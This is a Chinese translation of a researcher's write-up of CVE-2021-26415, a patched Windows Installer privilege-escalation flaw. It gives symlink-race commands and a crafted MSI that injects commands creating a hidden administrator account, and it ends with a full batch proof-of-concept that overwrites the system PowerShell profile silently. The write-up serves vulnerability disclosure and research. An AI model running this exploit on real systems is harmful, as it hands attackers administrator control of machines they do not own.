CVE-2021-26415提权漏洞

  • CVE-2021-26415提权漏洞已关闭评论
  • 15 views
  • A+

声明,本文为翻译文章,作者Adrian Denkiewicz

文章原地址https://www.cloaked.pl/2021/04/cve-2021-26415/

前言

我想分享在2021-04-13修复的2021-04-13 CVE-2021-26415 (CVSSv3.0:7.8)漏洞的详细信息。我在2020年10月前后发现了该错误,并与趋势科技的Zero Day Initiative一起将其报告给了Microsoft。

这是一个影响Windows Installer组件的本地特权升级(LPE)漏洞。 它基于TOCTOU和使用符号链接的文件系统攻击。该问题导致写入任意一个文件具有LocalSystem特权并且可以部分控制这些内容。 我找不到能完全控制内容的向量(去替换DLL文件内容等),但即使是部分控制也足以将任意PowerShell命令注入默认配置文件,并在管理员帐户或计划好任务时间的情况下提升特权运行PowerShell控制台。

我将Windows 10和2019 Server的问题报告为0day,但根据通报,该问题也影响其他系统:8.1、7、2012、2016、2008。早期系统也可能易受攻击。

漏洞细节

Windows安装程序

msiexec系统二进制文件用于安装应用程序以MSI格式(Windows Installer Packages)。它不仅是PE文件的别称,而且格式稍微复杂一些。msiexec的典型用法需要管理权限,但是也有例外,如/f switch可以被非特权用户用来执行修复操作。该操作通常无需管理员权限即可执行,该switch在过去的几次LPE攻击中被使用过——易受攻击的组件通常是MSI程序包本身。一般寻找这样的msi可以去c: windows installer那里。这次我们将选择一个现有文件,并使用它来攻击操作系统。使用的安装程序(148d3c4.msi)是我在系统上找到的一些随机DropBox MSI。

wKg0C2CCMuaAdjJEAACDEn1hiCM149.png

出现以下情况在有/L选项的情况下可以通过日志记录扩展修复操作。msiexec会把一些信息记录到指向文件中。 让我们使用procmon来查看普通用户执行以下命令会发生什么情况:

msiexec /f C:WindowsInstaller148d3c4.msi /L C:tempfoo.log

wKg0C2CCLTqACdsdAAEjiageEiQ697.png

上图中您可以看到已配置的过滤器和框内显示。这有助于直观的区分在系统完整性级别上运行的模拟普通用户和使用全部功能的用户之间的操作。例如对指向文件的初始CreateFile操作使用模拟。该过程不会打开我们没有权限无法访问的任何东西。我们不能只指向其他文件(如C:Windowswin.ini)靠此获得更高的访问权限。它没有作用,从LPE的角度看这没什么意思。

在下面几行代码中再次处理文件,但这次使用完整的LocalSystem令牌。也许只有对文件的初始访问才受到保护? 我们使用符号链接进行测试。

符号链接攻击

我不会详细介绍符号链接,如果您不熟悉此概念,请查看Windows特权文件操作滥用介绍
James Forshaw的符号链接工具包是利用此类问题事实上的标准。特别是BaitAndSwitch.exe应用程序会执行此处所需的所有操作——捕获oplock中的初始文件检查,然后将链接从原始文件更改为目标文件。 初始权限检查会验证对一个安全文件的访问,但对另一个文件执行读/写操作,现在由一个相同的符号链接指向。 这是典型的TOCTOU问题。这种情况下使用的符号链接不需要任何特殊的访问权限,任何无特权的用户都可以创建一个。
让我们执行以下命令:

1 BaitAndSwitch.exe C:templinkdirlink C:tempfoo.log C:foo.log
2 msiexec /f C:WindowsInstaller148d3c4.msi /L C:templinkdirlink

wKg0C2CCLrGAGJagAACQeEP3tc888.png

这是初始文件访问,BOM字符是从中等完整性线程写入的,它还会验证对文件的访问权限。 确认后BaitAndSwitch将被触发并更改指向的位置。

wKg0C2CCLtKAecbgAAFX8e7Yje4039.png

看到了吗?符号链接已经切换到新的目标(C:foo.log),并在之后进行了一堆操作后从LocalSystem创建了一个CreateFile,再执行几次操作后,文件将关闭并最终保存在磁盘上。

wKg0C2CCLxeALmN7AABsFFpG4SQ055.png

该文件使用现有的访问权限规则,没有提供额外的权限,但是我们只证明了任意写入,里面有什么?

MSI (s) (AC:34) [16:14:11:665]: Product: Dropbox Update Helper -- Configuration completed successfully. MSI (s) (AC:34) [16:14:11:665]: Windows Installer reconfigured the product. Product Name: Dropbox Update Helper. Product Version: 1.3.415.1. Product Language: 1033. Manufacturer: Dropbox, Inc.. Reconfiguration success or error status: 0.

没什么用,我们可能会覆盖重要文件,但不会直接提升特权。

部分内容控制

现在开始检查msiexec / h返回的标志。从中可能会获得对书面数据的全部或至少部分控制权?

日志记录选项参数中有一些不错的候选者:

  • /fp添加了终端属性,因为它们来自用户可写的注册表配置单元或环境变量,所以其中一些由我控制。看我是如何注入的:将; notepad.exe ;放入%APPDATA%变量中。

=== Logging started: 4/15/2021 20:18:09 ===
Property(S): UpdateDir = C:Program Files (x86)DropboxUpdate
Property(S): DropboxProgramDir = C:Program Files (x86)Dropbox
Property(S): ProgramFilesFolder = C:Program Files (x86)
Property(S): TARGETDIR = C:
Property(S): ALLUSERS = 1
Property(S): ARPSYSTEMCOMPONENT = 1
Property(S): DISABLEROLLBACK = 1
Property(S): Manufacturer = Dropbox, Inc.
Property(S): ProductCode = {099218A5-A723-43DC-8DB5-6173656A1E94}
Property(S): ProductLanguage = 1033
Property(S): ProductName = Dropbox Update Helper
Property(S): ProductVersion = 1.3.415.1
Property(S): UpgradeCode = {C7A2CC6E-044B-4A2C-BD1E-E75EAD2C11B0}
Property(S): MsiLogFileLocation = C:templog.txt
Property(S): PackageCode = {E42CA6BD-944C-4847-A481-D150906EC78E}
Property(S): ProductState = 5
Property(S): ProductToBeRegistered = 1
Property(S): RestrictedUserControl = 1
Property(S): REINSTALL = ALL
Property(S): REINSTALLMODE = pecms
Property(S): CURRENTDIRECTORY = C:Userslowpriv
Property(S): CLIENTUILEVEL = 2
Property(S): CLIENTPROCESSID = 12412
Property(S): MsiSystemRebootPending = 1
Property(S): PRODUCTLANGUAGE = 1033
Property(S): VersionDatabase = 300
Property(S): VersionMsi = 5.00
Property(S): VersionNT = 603
Property(S): VersionNT64 = 603
Property(S): WindowsBuild = 9600
Property(S): ServicePackLevel = 0
Property(S): ServicePackLevelMinor = 0
Property(S): MsiNTProductType = 1
Property(S): WindowsFolder = C:WINDOWS
Property(S): WindowsVolume = C:
Property(S): System64Folder = C:WINDOWSsystem32
Property(S): SystemFolder = C:WINDOWSSysWOW64
Property(S): RemoteAdminTS = 1
Property(S): TempFolder = C:UserslowprivAppDataLocalTemp
Property(S): CommonFilesFolder = C:Program Files (x86)Common Files
Property(S): ProgramFiles64Folder = C:Program Files
Property(S): CommonFiles64Folder = C:Program FilesCommon Files
Property(S): AppDataFolder = C:UserslowprivAppDataRoaming ; notepad.exe ;
Property(S): FavoritesFolder = C:UserslowprivFavorites
Property(S): NetHoodFolder = C:UserslowprivAppDataRoamingMicrosoftWindowsNetwork Shortcuts
Property(S): PersonalFolder = C:UserslowprivDocuments
Property(S): PrintHoodFolder = C:UserslowprivAppDataRoamingMicrosoftWindowsPrinter Shortcuts
Property(S): RecentFolder = C:UserslowprivAppDataRoamingMicrosoftWindowsRecent
Property(S): SendToFolder = C:UserslowprivAppDataRoamingMicrosoftWindowsSendTo
Property(S): TemplateFolder = C:ProgramDataMicrosoftWindowsTemplates
Property(S): CommonAppDataFolder = C:ProgramData
Property(S): LocalAppDataFolder = C:UserslowprivAppDataLocal
Property(S): MyPicturesFolder = C:UserslowprivPictures
Property(S): AdminToolsFolder = C:ProgramDataMicrosoftWindowsStart MenuProgramsAdministrative Tools
Property(S): StartupFolder = C:ProgramDataMicrosoftWindowsStart MenuProgramsStartup
Property(S): ProgramMenuFolder = C:ProgramDataMicrosoftWindowsStart MenuPrograms
Property(S): StartMenuFolder = C:ProgramDataMicrosoftWindowsStart Menu
Property(S): DesktopFolder = C:UsersPublicDesktop
Property(S): FontsFolder = C:WINDOWSFonts
Property(S): GPTSupport = 1
Property(S): OLEAdvtSupport = 1
Property(S): ShellAdvtSupport = 1
Property(S): MsiAMD64 = 6
Property(S): Msix64 = 6
Property(S): Intel = 6
Property(S): PhysicalMemory = 5687
Property(S): VirtualMemory = 2713
Property(S): LogonUser = lowpriv
Property(S): UserSID = S-1-5-21-2746136434-3241333796-1554539884-1002
Property(S): UserLanguageID = 1033
Property(S): ComputerName = DESKTOP-OMNIO40
Property(S): SystemLanguageID = 1033
Property(S): ScreenX = 1024
Property(S): ScreenY = 768
Property(S): CaptionHeight = 19
Property(S): BorderTop = 1
Property(S): BorderSide = 1
Property(S): TextHeight = 16
Property(S): TextInternalLeading = 3
Property(S): ColorBits = 32
Property(S): TTCSupport = 1
Property(S): Time = 20:18:09
Property(S): Date = 4/15/2021
Property(S): MsiNetAssemblySupport = 4.8.4084.0
Property(S): MsiWin32AssemblySupport = 6.3.19041.1
Property(S): RedirectedDllSupport = 2
Property(S): AdminUser = 1
Property(S): MsiRunningElevated = 1
Property(S): Privileged = 1
Property(S): USERNAME = Adrian
Property(S): Installed = 00:00:00
Property(S): DATABASE = C:WINDOWSInstaller148d3c4.msi
Property(S): OriginalDatabase = C:WINDOWSInstaller148d3c4.msi
Property(S): RollbackDisabled = 1
Property(S): UILevel = 3
Property(S): Preselected = 1
Property(S): ACTION = INSTALL
Property(S): ROOTDRIVE = C:
Property(S): CostingComplete = 1
Property(S): OutOfDiskSpace = 0
Property(S): OutOfNoRbDiskSpace = 0
Property(S): PrimaryVolumeSpaceAvailable = 0
Property(S): PrimaryVolumeSpaceRequired = 0
Property(S): PrimaryVolumeSpaceRemaining = 0
Property(S): INSTALLLEVEL = 1
=== Logging stopped: 4/15/2021 20:18:09 ===

我会稍后解释这样做有什么用。现在输出中有大量垃圾。让我们再努力一点。

  • /L+会附加而不是覆盖,这在某些情况下可能会有用,并且可以让我们测试攻击而不会破坏整个文件。
  • /Lc只是记录初始UI参数。这仅导致两行输出,但不受攻击者控制。

=== Logging started: 4/15/2021 20:28:50 ===
=== Logging stopped: 4/15/2021 20:28:50 ===

其他日志记录标志作用不大,另外它们甚至会导致MSI使用多个线程,并且可能导致其他问题。 有些会记录冗长的消息,有些只会记录错误也许恶意的MSI程序包会对内容有更多的控制权?让我们准备一个自定义的。

制作MSI

可以使用WiX工具集制作自定义的MSI软件包,这样我们将控制MSI包的行为其他属性。

首先我们需要创建具有以下内容的example.wxs文件:

wKg0C2CCMIWAJh3wAAEL5MSRkDU076.png

注意name属性,它包含注入的PowerShell命令和“;”来分隔指令。末尾的“#”用于注释掉该行中的其余字符。这点稍后将更加清楚。

现在我们可以使用candle.exe example.wxs来处理上述定义,并使用light example.wixobj创建example.msi 包。

让我们将其移至受攻击的系统并重做攻击:

msiexec /f C:tempexample.msi /L C:Templog.txt

wKg0C2CCMM2AIOmoAAAomkia4563.png

这行不通,我们需要先安装软件包,但这需要管理员权限,我们甚至不用社会工程,因为这是一个死胡同。

advertises a product

我决定测试其他标志,也许修复不是触发的唯一有趣选择。/j 选项用于将advertises a product-m给所有用户,u给当前用户。

让我们看看它的真正作用:

1 BaitAndSwitch C:templinkdirlink C:tempfakelog.txt C:foo.log
2 msiexec /j example.msi /L C:templinkdirlink

wKg0C2CCMQ6AEUY5AACfk1i4nKo630.png

UAC提示,毕竟它仅是管理员。但如果我们看一下procmon会发现已经发生了写操作。

wKg0C2CCMTGAQQIiAACPEhFWJs4296.png

我们根本不需要提供任何凭证!在这点上我们可以安全地取消UAC-the elevated写已经发生!攻击者控制的数据将附加到目标文件,并且我们可以执行带有部分内容控制的任意写入。

最后的加工

C:foo.log文件现在包含:

MSI (s) (58:68) [21:20:31:191]: Product: ; net user FooBar [email protected] /add ; net localgroup Administrators FooBar /add # -- Advertisement failed.

这是UTF-16文件,它不能变成cmd.exe payload,但PowerShell会处理该文件。分号用于拆分命令,并使用哈希字符注释掉其余文本。

如果您覆盖(或创建新的)C:WindowsSystem32WindowsPowerShellv1.0profile.ps1,下次管理员启动PowerShell时将启动它。 在其他LPE位置也很合适,但是考虑其他向量将是您的homework。

要解决的另一个问题是完全摆脱UAC提示,为此使用了另一个switch:/t somevalue /qn,这将在写入后UAC提示前触发一个静默错误,我们希望安装程序在早期阶段失败。/qn switch将保证没有用户界面,即使没有GUI访问系统,这也使payload可用,并且没有任何东西阻止控制台交互。

完整的PoC

最终的PoC是:

@echo off
REM Put BaitAndSwitch, example.msi into C:temp
echo > C:tempfakelog.txt
start C:tempBaitAndSwitch C:templinkdirlink C:tempfakelog.txt C:WindowsSystem32WindowsPowerShellv1.0profile.ps1
timeout /t 1
msiexec /j C:tempexample.msi /t ksz /Li! C:templinkdirlink /qn

相关推荐: Vlunhub-Hacksudo系列1.0.1

靶机环境 这个靶机是hacksudo系列的第一部。 靶机名称:Hacksudo1.0.1 IP地址为:192.168.17.143 攻击机:kali2021 IP地址为:192.168.17.131 主机发现 nmap -sC -sV -p- 192.168.…